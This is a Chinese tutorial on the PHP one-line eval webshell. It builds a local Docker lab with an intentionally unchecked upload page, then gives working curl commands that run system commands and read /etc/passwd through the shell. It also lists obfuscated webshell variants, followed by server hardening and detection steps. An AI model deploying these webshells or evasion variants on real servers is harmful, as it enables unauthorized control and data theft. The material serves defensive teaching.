深入解析PHP一句話木馬:從eval函數(shù)到WebShell攻防實(shí)戰(zhàn)
1. 從一行代碼到系統(tǒng)淪陷深入拆解PHP一句話木馬如果你在某個(gè)網(wǎng)站的源碼里或者服務(wù)器日志中看到這樣一行看似平平無奇的代碼eval($_POST[‘hack‘])那基本可以斷定這個(gè)系統(tǒng)已經(jīng)門戶大開。這行代碼就是臭名昭著的“PHP一句話木馬”也被圈內(nèi)人戲稱為“小馬”。它體積雖小威力卻極大是Web滲透測試中獲取WebShell網(wǎng)站控制權(quán)最經(jīng)典、最常用的手段之一。今天我們不談攻擊只談防御與理解。作為一名長期與Web安全打交道的從業(yè)者我將帶你徹底拆解這行代碼的每一個(gè)字符理解它的工作原理、危害方式并最終在一個(gè)完全可控的靶機(jī)環(huán)境中親手演示它的運(yùn)作流程。只有透徹地理解攻擊是如何發(fā)生的我們才能構(gòu)建起真正有效的防御。2. 庖丁解牛逐字符解析一句話木馬要防御必須先理解。這行簡短的代碼eval($_POST[‘hack‘])濃縮了PHP語言的幾個(gè)關(guān)鍵特性和攻擊者的精巧構(gòu)思。讓我們把它掰開揉碎了看。2.1 核心函數(shù)eval()—— 代碼執(zhí)行器的雙刃劍eval()是PHP中一個(gè)極其強(qiáng)大但也極度危險(xiǎn)的函數(shù)。它的作用是將傳入的字符串參數(shù)當(dāng)作一段有效的PHP代碼來執(zhí)行。舉個(gè)例子$code echo Hello, World!;; eval($code); // 輸出Hello, World!在這里字符串“echo Hello, World!;”被eval()識別并執(zhí)行就像它原本就是寫在腳本里的代碼一樣。攻擊利用點(diǎn)攻擊者上傳或注入的惡意代碼本質(zhì)上就是一個(gè)字符串。通過eval()這個(gè)字符串被“激活”成了可執(zhí)行的指令。如果這個(gè)字符串的內(nèi)容是system(‘whoami‘);那么服務(wù)器就會(huì)執(zhí)行whoami命令并返回結(jié)果。這就是一句話木馬能夠?qū)崿F(xiàn)任意代碼執(zhí)行的核心。注意在正式的生產(chǎn)環(huán)境中除非有極其特殊、可控且無法替代的需求否則應(yīng)絕對禁止使用eval()函數(shù)。它的存在本身就是一種高風(fēng)險(xiǎn)。2.2 數(shù)據(jù)接收器$_POST[‘hack‘]—— 來自外部的指令$_POST是PHP的一個(gè)超全局?jǐn)?shù)組用于收集通過HTTP POST方法提交的表單數(shù)據(jù)。$_POST[‘hack‘]則表示獲取POST數(shù)據(jù)中鍵名為‘hack‘的值。攻擊利用點(diǎn)攻擊者將需要執(zhí)行的命令例如system(‘ls‘)作為hack參數(shù)的值通過POST請求發(fā)送給這個(gè)木馬文件。木馬文件中的$_POST[‘hack‘]就接收到了這個(gè)命令字符串然后交給eval()去執(zhí)行。這種方式非常隱蔽因?yàn)镻OST請求的正文Body不會(huì)像GET請求的參數(shù)那樣顯示在瀏覽器的地址欄或常見的Web日志中除非特別配置使得攻擊流量更難被常規(guī)監(jiān)控發(fā)現(xiàn)。2.3 錯(cuò)誤抑制符—— 隱身衣是PHP的錯(cuò)誤控制運(yùn)算符。當(dāng)將其放置在一個(gè)PHP表達(dá)式之前時(shí)該表達(dá)式可能產(chǎn)生的任何錯(cuò)誤信息都會(huì)被抑制不會(huì)顯示給用戶。攻擊利用點(diǎn)這是攻擊者為了增加木馬的隱蔽性和魯棒性而添加的。設(shè)想幾種情況如果POST請求中沒有hack這個(gè)參數(shù)$_POST[‘hack‘]會(huì)產(chǎn)生一個(gè)Undefined index的警告。如果eval()執(zhí)行的代碼本身有語法錯(cuò)誤也會(huì)產(chǎn)生錯(cuò)誤。這些錯(cuò)誤信息可能會(huì)被記錄到服務(wù)器的錯(cuò)誤日志中或者在開發(fā)環(huán)境下直接輸出到頁面上從而暴露木馬的存在。加上符號后這些錯(cuò)誤被靜默處理木馬的運(yùn)行更加“安靜”不易被管理員察覺。2.4 完整的工作流程串聯(lián)現(xiàn)在讓我們把這三個(gè)部分串聯(lián)起來模擬一次完整的攻擊交互攻擊者上傳攻擊者通過文件上傳漏洞、編輯器漏洞、FTP弱口令等方式將包含?php eval($_POST[‘hack‘]);?的腳本文件如shell.php上傳到目標(biāo)服務(wù)器Web目錄下。攻擊者連接攻擊者使用專用的中國菜刀、蟻劍、冰蝎等WebShell管理工具或者直接使用curl命令向http://target.com/shell.php發(fā)起一個(gè)POST請求。請求正文這個(gè)POST請求的正文內(nèi)容可能是hacksystem(‘whoami‘);木馬執(zhí)行shell.php被訪問PHP引擎開始解析。$_POST[‘hack‘]獲取到值“system(‘whoami‘);”。eval(“system(‘whoami‘);”)執(zhí)行PHP引擎實(shí)際運(yùn)行了system(‘whoami‘)命令。命令結(jié)果例如服務(wù)器當(dāng)前用戶名www-data會(huì)通過system()函數(shù)輸出并最終返回給攻擊者的客戶端。攻擊者擴(kuò)展攻擊者隨后可以發(fā)送更復(fù)雜的指令如查看文件 (cat /etc/passwd)、下載文件、建立反向Shell連接等逐步控制服務(wù)器。3. 靶機(jī)環(huán)境搭建與演示在安全環(huán)境中親歷攻防“紙上得來終覺淺絕知此事要躬行?!睘榱俗屇愀庇^地理解整個(gè)過程我們將在本地搭建一個(gè)完全隔離、合法的靶機(jī)環(huán)境進(jìn)行演示。請務(wù)必僅在你自己擁有完全控制權(quán)的機(jī)器上進(jìn)行此類實(shí)驗(yàn)。3.1 環(huán)境準(zhǔn)備構(gòu)建一個(gè)脆弱的測試站點(diǎn)我們將使用Docker快速搭建一個(gè)包含PHP和Apache的測試環(huán)境并故意放置一個(gè)有漏洞的上傳點(diǎn)。步驟1創(chuàng)建項(xiàng)目目錄結(jié)構(gòu)mkdir php-webshell-demo cd php-webshell-demo mkdir -p www/upload www/uploadswww/upload存放我們的漏洞網(wǎng)頁。www/uploads模擬服務(wù)器上傳文件存儲目錄權(quán)限設(shè)置寬松。步驟2編寫漏洞上傳頁面 (www/upload/index.php)!DOCTYPE html html head title文件上傳演示存在漏洞/title /head body h2上傳你的頭像/h2 form action methodpost enctypemultipart/form-data input typefile namefile input typesubmit value上傳 /form ?php if ($_SERVER[REQUEST_METHOD] POST) { $uploadDir ../uploads/; $uploadFile $uploadDir . basename($_FILES[file][name]); // 漏洞點(diǎn)未對文件類型、內(nèi)容做任何檢查 if (move_uploaded_file($_FILES[file][tmp_name], $uploadFile)) { echo 文件上傳成功路徑: a href$uploadFile$uploadFile/a; } else { echo 文件上傳失敗。; } } ? /body /html這個(gè)頁面的致命問題在于它僅僅使用了move_uploaded_file函數(shù)但沒有對上傳文件的擴(kuò)展名、MIME類型、文件內(nèi)容進(jìn)行任何校驗(yàn)。這意味著攻擊者可以直接上傳一個(gè).php文件。步驟3編寫 Docker 配置文件 (Dockerfile)FROM php:8.2-apache RUN docker-php-ext-install mysqli docker-php-ext-enable mysqli COPY www/ /var/www/html/ RUN chmod -R 777 /var/www/html/uploads/我們使用官方PHP-Apache鏡像并給上傳目錄賦予777權(quán)限模擬配置不當(dāng)?shù)姆?wù)器環(huán)境。步驟4編寫 Docker 編排文件 (docker-compose.yml)version: 3.8 services: web: build: . ports: - 8080:80 volumes: - ./www/:/var/www/html/這會(huì)將本地的www目錄映射到容器的Web根目錄方便我們修改代碼。步驟5啟動(dòng)環(huán)境docker-compose up --build -d訪問http://localhost:8080/upload/你應(yīng)該能看到上傳頁面。3.2 手工制作與上傳一句話木馬我們不使用現(xiàn)成的攻擊工具而是完全手工模擬攻擊者的步驟以加深理解。步驟1創(chuàng)建木馬文件shell.php用文本編輯器創(chuàng)建一個(gè)新文件內(nèi)容只有一行?php eval($_POST[cmd]);?注意這里我將參數(shù)名從hack改為了cmd這無關(guān)緊要只是一個(gè)約定的“密碼”。步驟2通過漏洞頁面上傳在瀏覽器中打開http://localhost:8080/upload/。選擇剛剛創(chuàng)建的shell.php文件點(diǎn)擊上傳。頁面顯示成功并給出鏈接例如../uploads/shell.php。這意味著我們的木馬已經(jīng)成功放置在服務(wù)器的/var/www/html/uploads/shell.php對應(yīng)本地www/uploads/shell.php。步驟3驗(yàn)證木馬可訪問直接在瀏覽器訪問http://localhost:8080/uploads/shell.php。你會(huì)發(fā)現(xiàn)頁面一片空白或者只有一個(gè)空行。這是正常的因?yàn)榇藭r(shí)沒有POST參數(shù)cmdeval()沒有執(zhí)行任何代碼加上抑制了可能的警告。這種“安靜”的特性正是攻擊者所期望的。3.3 模擬攻擊使用CURL與木馬交互現(xiàn)在我們扮演攻擊者使用最基礎(chǔ)的命令行工具curl來與木馬“對話”。攻擊1執(zhí)行系統(tǒng)命令我們讓木馬執(zhí)行whoami命令查看Web服務(wù)器運(yùn)行的用戶身份。curl -X POST http://localhost:8080/uploads/shell.php -d cmdsystem(whoami);命令解析-X POST指定使用POST方法。-d “cmdsystem(‘whoami‘);”這是POST請求的正文Body。-d參數(shù)后面跟的是keyvalue形式的數(shù)據(jù)。我們將要執(zhí)行的PHP代碼system(‘whoami‘);作為cmd參數(shù)的值發(fā)送。執(zhí)行結(jié)果你應(yīng)該會(huì)看到輸出www-data或其他用戶如daemon。這證明一句話木馬已經(jīng)成功執(zhí)行了系統(tǒng)命令并返回了結(jié)果。攻擊2列出目錄文件獲取服務(wù)器上傳目錄的列表。curl -X POST http://localhost:8080/uploads/shell.php -d cmdsystem(ls -la ../uploads/);這會(huì)列出uploads目錄下的所有文件包括我們剛剛上傳的shell.php本身。攻擊3讀取系統(tǒng)文件提權(quán)信息嘗試讀取/etc/passwd文件了解系統(tǒng)存在哪些用戶。curl -X POST http://localhost:8080/uploads/shell.php -d cmdecho file_get_contents(/etc/passwd);這里我們換了一種方式使用了file_get_contents()函數(shù)來讀取文件內(nèi)容而不是system(‘cat /etc/passwd‘)。這展示了木馬的靈活性只要能通過eval()執(zhí)行的PHP代碼都可以運(yùn)行。實(shí)操心得在實(shí)際滲透測試中system()、shell_exec()、passthru()等命令執(zhí)行函數(shù)可能被禁用。有經(jīng)驗(yàn)的安全工程師會(huì)嘗試多種方法比如用反引號 、popen()、proc_open()或者利用PHP文件操作函數(shù)、數(shù)據(jù)庫功能等進(jìn)行變通這也是防御方需要全面考慮的點(diǎn)。3.4 使用專業(yè)工具連接蟻劍實(shí)戰(zhàn)演示雖然CURL足以證明概念但真實(shí)的攻擊者會(huì)使用圖形化工具操作更便捷功能更強(qiáng)大。這里以開源的“蟻劍(AntSword)”演示。再次強(qiáng)調(diào)僅用于本地授權(quán)的靶機(jī)測試。添加Shell在蟻劍中右鍵“添加數(shù)據(jù)”。配置連接URL地址http://localhost:8080/uploads/shell.php連接密碼cmd即我們木馬中$_POST[‘cmd‘]的鍵名編碼器、請求頭等通常保持默認(rèn)即可。連接成功雙擊新添加的Shell如果配置正確左側(cè)會(huì)顯示服務(wù)器的目錄樹。你可以像操作FTP一樣瀏覽、下載、上傳、刪除文件編輯文件甚至打開虛擬終端Terminal直接執(zhí)行命令。通過蟻劍你可以直觀地感受到一旦一句話木馬上傳成功攻擊者就獲得了對Web目錄及其相關(guān)權(quán)限下所有資源的近乎完全的圖形化控制能力。4. 防御之道從原理到實(shí)踐的多層防線理解了攻擊防御的思路就清晰了。防御一句話木馬不是靠某一個(gè)“銀彈”而是需要構(gòu)建一個(gè)縱深防御體系。4.1 代碼層防御杜絕漏洞源頭這是最根本的防御。禁用危險(xiǎn)函數(shù)在PHP配置文件php.ini中使用disable_functions指令禁用不必要的危險(xiǎn)函數(shù)。disable_functions eval,assert,system,exec,shell_exec,passthru,proc_open,popen,dl,...注意禁用eval()可能會(huì)影響某些特殊框架或老舊代碼。務(wù)必在測試環(huán)境充分測試。對于無法禁用的情況必須通過其他手段嚴(yán)格管控。嚴(yán)格過濾文件上傳白名單校驗(yàn)只允許上傳指定的、安全的文件擴(kuò)展名如.jpg,.png,.pdf禁止.php,.phtml,.inc,.phar等可執(zhí)行擴(kuò)展名。MIME類型校驗(yàn)檢查$_FILES[‘file‘][‘type‘]但不可依賴因?yàn)榭梢员粋卧?。?yīng)結(jié)合文件頭魔數(shù)Magic Number檢測。文件內(nèi)容檢測對上傳的文件內(nèi)容進(jìn)行掃描檢查是否包含?php、eval(、assert(等危險(xiǎn)字符串。可以使用正則表達(dá)式但要注意繞過技巧。重命名與隨機(jī)化上傳后立即將文件重命名為隨機(jī)字符串如UUID并保留原始擴(kuò)展名。這可以防止攻擊者直接訪問已知文件名。隔離存儲將上傳的文件存儲在Web根目錄之外并通過一個(gè)專門的腳本如download.php?idxxx來提供訪問。這樣即使上傳了惡意文件也無法直接通過URL觸發(fā)執(zhí)行。輸入驗(yàn)證與轉(zhuǎn)義對所有用戶輸入$_GET,$_POST,$_COOKIE,$_REQUEST進(jìn)行嚴(yán)格的驗(yàn)證和過濾。使用htmlspecialchars()輸出到HTML使用預(yù)處理語句PDO Prepared Statements處理數(shù)據(jù)庫查詢防止SQL注入的同時(shí)也增加了攻擊者構(gòu)造復(fù)雜Payload的難度。4.2 服務(wù)器與環(huán)境層加固即使代碼有疏漏堅(jiān)固的服務(wù)器環(huán)境也能構(gòu)成第二道防線。配置正確的文件權(quán)限遵循最小權(quán)限原則。Web根目錄如/var/www/html應(yīng)設(shè)置為755所有者是root運(yùn)行用戶是www-data。上傳目錄應(yīng)單獨(dú)設(shè)置權(quán)限為755并確保其中的文件權(quán)限為644。永遠(yuǎn)不要給上傳目錄或文件777權(quán)限。配置Web服務(wù)器Apache在上傳目錄的.htaccess或虛擬主機(jī)配置中使用FilesMatch或Location指令禁止PHP引擎解析。Directory /var/www/html/uploads php_flag engine off FilesMatch “\.(php|phtml|inc)$” Order Deny,Allow Deny from all /FilesMatch /DirectoryNginx在 location 塊中通過location ~ \.php$規(guī)則排除上傳目錄或者直接返回403。location ~ ^/uploads/.*\.(php|phtml|inc)$ { deny all; return 403; }使用Web應(yīng)用防火墻WAF部署WAF可以有效攔截常見的Web攻擊Payload包括包含eval(、base64_decode(等特征的一句話木馬連接請求。云服務(wù)商如阿里云、騰訊云都提供WAF服務(wù)開源軟件如ModSecurity也是不錯(cuò)的選擇。定期更新與漏洞掃描保持PHP、Web服務(wù)器Apache/Nginx、數(shù)據(jù)庫及所有應(yīng)用框架如ThinkPHP、Laravel更新到最新穩(wěn)定版。定期使用安全掃描工具如AWVS、Nessus或代碼審計(jì)工具對自有代碼進(jìn)行掃描。4.3 運(yùn)維與監(jiān)控層及時(shí)發(fā)現(xiàn)與響應(yīng)日志審計(jì)開啟并定期審查Web服務(wù)器訪問日志Apache的access.log Nginx的access.log和錯(cuò)誤日志。關(guān)注異常請求訪問不存在的.php文件。對上傳目錄的.php文件請求。POST請求體過大或參數(shù)異常的請求。來自單一IP的高頻、類似攻擊模式的請求。文件完整性監(jiān)控HIDS使用主機(jī)入侵檢測系統(tǒng)監(jiān)控Web目錄下文件的創(chuàng)建、修改和刪除。一旦發(fā)現(xiàn)非預(yù)期的.php文件被創(chuàng)建立即告警。開源工具如OSSEC、Wazuh可以實(shí)現(xiàn)此功能。網(wǎng)絡(luò)層監(jiān)控監(jiān)控服務(wù)器出站流量。一句話木馬在獲取Shell后攻擊者常會(huì)嘗試建立反向連接或下載外部工具。異常的出站連接尤其是到非常用端口是重要告警信號。5. 高級繞過技巧與防御演進(jìn)了解攻擊方思路攻擊與防御是永不停歇的博弈。為了繞過基礎(chǔ)的防御攻擊者發(fā)展出了許多一句話木馬的變種。5.1 常見變形與混淆技術(shù)字符串變形使用.連接符$_POST[‘a(chǎn)‘].$_POST[‘b‘]。使用{}花括號${$_POST[‘a(chǎn)‘]}。十六進(jìn)制、八進(jìn)制編碼eval(\x65\x76...);。函數(shù)替換assert()assert($_POST[‘cmd‘])assert在某些配置下行為類似eval。回調(diào)函數(shù)call_user_func(‘a(chǎn)ssert‘, $_POST[‘cmd‘])或array_map(‘a(chǎn)ssert‘, array($_POST[‘cmd‘]))。動(dòng)態(tài)函數(shù)$f ‘a(chǎn)ssert‘; $f($_POST[‘cmd‘]);。編碼與加密Base64編碼eval(base64_decode($_POST[‘z‘]));攻擊者發(fā)送zYXNzZXJ0KCRfUE9TVFsnY21kJ10pOw即assert($_POST[‘cmd‘]);的base64編碼。GZIP壓縮配合gzuncompress或gzdecode。異或加密、ROT13等自定義簡單加密算法。利用特殊標(biāo)簽短標(biāo)簽? eval($_POST[‘cmd‘]);?需要開啟short_open_tag。script language“php”eval($_POST[‘cmd‘]);/script這種寫法在某些古老或特定配置的PHP中仍可解析。5.2 針對變種木馬的防御升級面對這些變形靜態(tài)的字符串匹配如搜索eval(會(huì)失效。防御策略需要升級行為監(jiān)控關(guān)注核心危險(xiǎn)函數(shù)的調(diào)用無論它前面有多少層包裝??梢酝ㄟ^PHP擴(kuò)展如Suhosin、php-beast或RASP運(yùn)行時(shí)應(yīng)用自保護(hù)技術(shù)在eval、assert、system等函數(shù)被調(diào)用時(shí)進(jìn)行攔截和判斷檢查調(diào)用棧和參數(shù)是否可疑。機(jī)器學(xué)習(xí)/語義分析對于文件上傳檢測使用基于機(jī)器學(xué)習(xí)的惡意文件檢測引擎分析文件內(nèi)容的熵值、代碼結(jié)構(gòu)特征而不僅僅是匹配特征字符串。嚴(yán)格的代碼審計(jì)與安全開發(fā)流程SDL在代碼上線前進(jìn)行人工或自動(dòng)化審計(jì)確保沒有危險(xiǎn)的函數(shù)被不當(dāng)使用沒有不受控的文件包含、反序列化等操作。6. 實(shí)戰(zhàn)排查如何發(fā)現(xiàn)并清理已存在的WebShell假設(shè)你懷疑服務(wù)器已被入侵如何著手排查初步定位檢查最近修改的PHP文件在Web根目錄下執(zhí)行find /var/www/html -name “*.php” -mtime -1查找最近1天修改的php文件。檢查包含可疑關(guān)鍵詞的文件grep -r “eval(” /var/www/htmlgrep -r “base64_decode(” /var/www/html。注意攻擊者可能已經(jīng)混淆所以這個(gè)方法可能無效。深入分析對比備份如果有干凈的代碼備份使用diff或md5sum對比文件差異。檢查訪問日志聚焦在木馬文件可能被訪問的時(shí)間段查找異常的POST請求記錄。使用專業(yè)查殺工具如河馬WebShell查殺、CloudWalker牧云等它們有更全的特征庫和一定的混淆檢測能力。清理與恢復(fù)立即隔離確認(rèn)WebShell文件后不要直接刪除先將其重命名或移動(dòng)到隔離區(qū)避免打草驚蛇。根除后門分析木馬文件的創(chuàng)建時(shí)間、訪問日志找出攻擊入口如上漏洞、弱口令并徹底修復(fù)。全面掃描使用查殺工具對整個(gè)Web目錄、甚至全盤進(jìn)行掃描。重置憑據(jù)更改所有相關(guān)系統(tǒng)的密碼、密鑰。從備份恢復(fù)如果可能從干凈的備份中恢復(fù)被篡改的文件。確保備份本身是干凈的。事后復(fù)盤分析攻擊鏈加固所有薄弱環(huán)節(jié)更新監(jiān)控規(guī)則。一句話木馬是Web安全攻防的一個(gè)縮影它簡單卻有效古老卻不斷演變。對開發(fā)者而言理解其原理是編寫安全代碼的必修課對運(yùn)維人員而言知曉其危害是構(gòu)建安全防線的出發(fā)點(diǎn)。安全是一個(gè)過程而非一個(gè)狀態(tài)。保持警惕持續(xù)學(xué)習(xí)定期審計(jì)多層設(shè)防才能讓你的系統(tǒng)在攻防對抗中立于不敗之地。在平時(shí)的開發(fā)中不妨多問自己一句“我寫的這段代碼如果用戶輸入惡意內(nèi)容會(huì)發(fā)生什么” 這種安全意識才是最好的防御。

相關(guān)新聞

LLMRouter:智能模型調(diào)度器,16+策略實(shí)現(xiàn)多模型路由與成本優(yōu)化

LLMRouter:智能模型調(diào)度器,16+策略實(shí)現(xiàn)多模型路由與成本優(yōu)化

1. 項(xiàng)目概述:為什么我們需要一個(gè)“智能模型調(diào)度器”?最近在折騰大模型應(yīng)用落地的朋友,估計(jì)都遇到過這個(gè)頭疼的問題:手頭有好幾個(gè)模型API,比如GPT-4、Claude 3、DeepSeek,還有一堆開源的Llama、Qwen。每個(gè)?!?/p>

2026/8/4 13:43:41 閱讀更多
UniApp微信小程序白屏問題全鏈路排查指南:從原理到實(shí)戰(zhàn)解決

UniApp微信小程序白屏問題全鏈路排查指南:從原理到實(shí)戰(zhàn)解決

1. 問題引入:當(dāng)你的UniApp小程序變成一片空白 做UniApp微信小程序開發(fā),最讓人頭皮發(fā)麻的瞬間之一,莫過于本地調(diào)試一切正常,真機(jī)預(yù)覽或上傳體驗(yàn)版后,頁面加載出來卻是一片刺眼的白屏。這感覺就像你精心準(zhǔn)備了滿漢全席&…

2026/8/3 6:07:54 閱讀更多
數(shù)據(jù)庫Mysql結(jié)課實(shí)驗(yàn)

數(shù)據(jù)庫Mysql結(jié)課實(shí)驗(yàn)

實(shí)驗(yàn)環(huán)境:openEuler Linux 虛擬機(jī)、MySQL 8.0.45、Python3.11.9、騰訊云 TokenHub 大模型 API實(shí)驗(yàn)?zāi)繕?biāo):獨(dú)立完成 Linux 服務(wù)器、MySQL 數(shù)據(jù)庫、Python 運(yùn)行環(huán)境全套部署;實(shí)現(xiàn)自然語言自動(dòng)生成只讀 MySQL 查詢、自動(dòng)執(zhí)行并 AI 解讀業(yè)務(wù)數(shù)據(jù)&am…

2026/8/4 8:36:50 閱讀更多
Unity強(qiáng)化學(xué)習(xí)套件ml-agents-release_23_tag安裝

Unity強(qiáng)化學(xué)習(xí)套件ml-agents-release_23_tag安裝

強(qiáng)化學(xué)習(xí)仿真通過 unity 可以獲取不錯(cuò)的可視化效果,依托游戲引擎也可以更真實(shí)的反映物理邏輯。套件官方描述如下: Unity 機(jī)器學(xué)習(xí)代理工具包(ML-Agents)是一個(gè)開源項(xiàng)目,可讓游戲和模擬環(huán)境成為訓(xùn)練智能代理的平臺。我們提供了基于 PyTorch 的前沿算法實(shí)現(xiàn),使游戲開發(fā)者和…

2026/8/4 13:43:12 閱讀更多
openKylin與Ubuntu跨系統(tǒng)文件傳輸實(shí)戰(zhàn)指南

openKylin與Ubuntu跨系統(tǒng)文件傳輸實(shí)戰(zhàn)指南

1. 跨系統(tǒng)文件傳輸?shù)耐袋c(diǎn)與解決方案在國產(chǎn)操作系統(tǒng)openkylin和主流Linux發(fā)行版Ubuntu之間傳輸文件,是不少開發(fā)者日常工作中的剛需場景。openkylin作為基于Linux的國產(chǎn)操作系統(tǒng),與Ubuntu雖然同屬Linux家族,但在文件系統(tǒng)結(jié)構(gòu)、默認(rèn)工具鏈和網(wǎng)絡(luò)…

2026/8/4 13:43:12 閱讀更多
Java Hash機(jī)制深度解析與性能優(yōu)化實(shí)踐

Java Hash機(jī)制深度解析與性能優(yōu)化實(shí)踐

1. Java中的Hash機(jī)制深度解析 在Java開發(fā)中,Hash是貫穿整個(gè)技術(shù)體系的核心概念。從HashMap的鍵值存儲到HashSet的元素去重,從Object的hashCode()方法到安全領(lǐng)域的消息摘要,Hash技術(shù)無處不在。但很多開發(fā)者對它的理解僅停留在"用來快速查…

2026/8/4 13:43:12 閱讀更多
從視頻到結(jié)構(gòu)化文本:基于Whisper與NLP的多媒體內(nèi)容自動(dòng)化處理實(shí)戰(zhàn)

從視頻到結(jié)構(gòu)化文本:基于Whisper與NLP的多媒體內(nèi)容自動(dòng)化處理實(shí)戰(zhàn)

1. 這篇文章真正要解決的問題當(dāng)開發(fā)者看到“FOX”、“特朗普”、“白宮記者協(xié)會(huì)晚宴”這樣的標(biāo)題時(shí),第一反應(yīng)可能是走錯(cuò)了片場——這難道不是一篇政治或娛樂新聞嗎?然而,在技術(shù)博客的語境下,這個(gè)標(biāo)題背后隱藏著一個(gè)更值得探討的、…

2026/8/4 13:33:12 閱讀更多
清華大學(xué)重磅EST:植物自導(dǎo)電閃蒸焦耳熱600°C/2600°C兩步法!稀土超積累植物秒級轉(zhuǎn)化為CeO?-石墨烯電催化劑!

清華大學(xué)重磅EST:植物自導(dǎo)電閃蒸焦耳熱600°C/2600°C兩步法!稀土超積累植物秒級轉(zhuǎn)化為CeO?-石墨烯電催化劑!

通訊作者:鄧兵、劉建國通訊單位:清華大學(xué)DOI:https://doi.org/10.1021/acs.est.6c00603研究背景稀土元素(REEs)是清潔能源技術(shù)與電子器件不可或缺的核心原料,然而傳統(tǒng)提取方式依賴能耗高、排放大的采礦與強(qiáng)…

2026/8/4 0:01:30 閱讀更多
貴州師范大學(xué)JCIS:混合焓調(diào)控設(shè)計(jì)PtCoNiCuCr高熵合金!ORR半波電位0.89 V/質(zhì)量活性2.4倍Pt/C!

貴州師范大學(xué)JCIS:混合焓調(diào)控設(shè)計(jì)PtCoNiCuCr高熵合金!ORR半波電位0.89 V/質(zhì)量活性2.4倍Pt/C!

研究背景質(zhì)子交換膜燃料電池(PEMFCs)因其高能量轉(zhuǎn)換效率和清潔零排放特性備受關(guān)注,然而陰極氧還原反應(yīng)(ORR)動(dòng)力學(xué)遲緩、鉑催化劑成本高昂且耐久性不足的問題嚴(yán)重制約了其商業(yè)化進(jìn)程。將 Pt 與 3d 過渡金屬合金化可調(diào)控…

2026/8/4 0:01:30 閱讀更多
福州大學(xué)/清華大學(xué)AFM:脈沖焦耳熱900°C/1s合成Co?Cu催化劑,寬電位NH?法拉第效率~100%,MEA穩(wěn)定300h

福州大學(xué)/清華大學(xué)AFM:脈沖焦耳熱900°C/1s合成Co?Cu催化劑,寬電位NH?法拉第效率~100%,MEA穩(wěn)定300h

通訊作者:萬宇馳、張久俊、呂瑞濤通訊單位:福州大學(xué) 、清華大學(xué)DOI:https://doi.org/10.1002/adfm.76112核心導(dǎo)讀:本文提出"分步升級"廢硝酸鹽處理新路線——利用廢水中的金屬離子經(jīng)快速焦耳熱(40V&#xff…

2026/8/4 0:01:30 閱讀更多
MoneyPrinterPlus實(shí)戰(zhàn)指南:AI視頻批量生成與自動(dòng)化發(fā)布完整解決方案

MoneyPrinterPlus實(shí)戰(zhàn)指南:AI視頻批量生成與自動(dòng)化發(fā)布完整解決方案

MoneyPrinterPlus實(shí)戰(zhàn)指南:AI視頻批量生成與自動(dòng)化發(fā)布完整解決方案 【免費(fèi)下載鏈接】MoneyPrinterPlus AI一鍵批量生成各類短視頻,自動(dòng)批量混剪短視頻,自動(dòng)把視頻發(fā)布到抖音,快手,小紅書,視頻號上,賺錢從來沒有這么容易過! 支持本地語音模型chatTTS,fasterwhisper,…

2026/8/4 13:11:34 閱讀更多
3分鐘搞定!QQ空間歷史說說完整備份終極指南

3分鐘搞定!QQ空間歷史說說完整備份終極指南

3分鐘搞定!QQ空間歷史說說完整備份終極指南 【免費(fèi)下載鏈接】GetQzonehistory 獲取QQ空間發(fā)布的歷史說說 項(xiàng)目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 你是否曾想過,那些年發(fā)過的QQ空間說說,那些記錄青春的文字…

2026/8/4 13:10:06 閱讀更多
AMAT 0100-02186 I/O 分配 PCB

AMAT 0100-02186 I/O 分配 PCB

AMAT 0100-02186 I/O分配PCB板是應(yīng)用材料(Applied Materials)公司生產(chǎn)的一款用于半導(dǎo)體設(shè)備的I/O信號分配電路板。該型號(0100-02186)的核心特點(diǎn)如下:專用于Endura等半導(dǎo)體工藝腔室。集成信號路由與分配功能。連接控制…

2026/8/3 19:34:52 閱讀更多
Nissei Corp FFMN-32L-10-T0 40AX 三相異步電動(dòng)機(jī)

Nissei Corp FFMN-32L-10-T0 40AX 三相異步電動(dòng)機(jī)

Nissei Corp FFMN-32L-10-T0 40AX 三相異步電動(dòng)機(jī)是日本日清(Nissei)品牌的一款工業(yè)用三相異步電機(jī),適用于自動(dòng)化設(shè)備及通用機(jī)械驅(qū)動(dòng)。該型號(FFMN-32L-10-T0 40AX)的核心特點(diǎn)如下:三相交流異步電動(dòng)機(jī)。額定…

2026/8/3 19:34:54 閱讀更多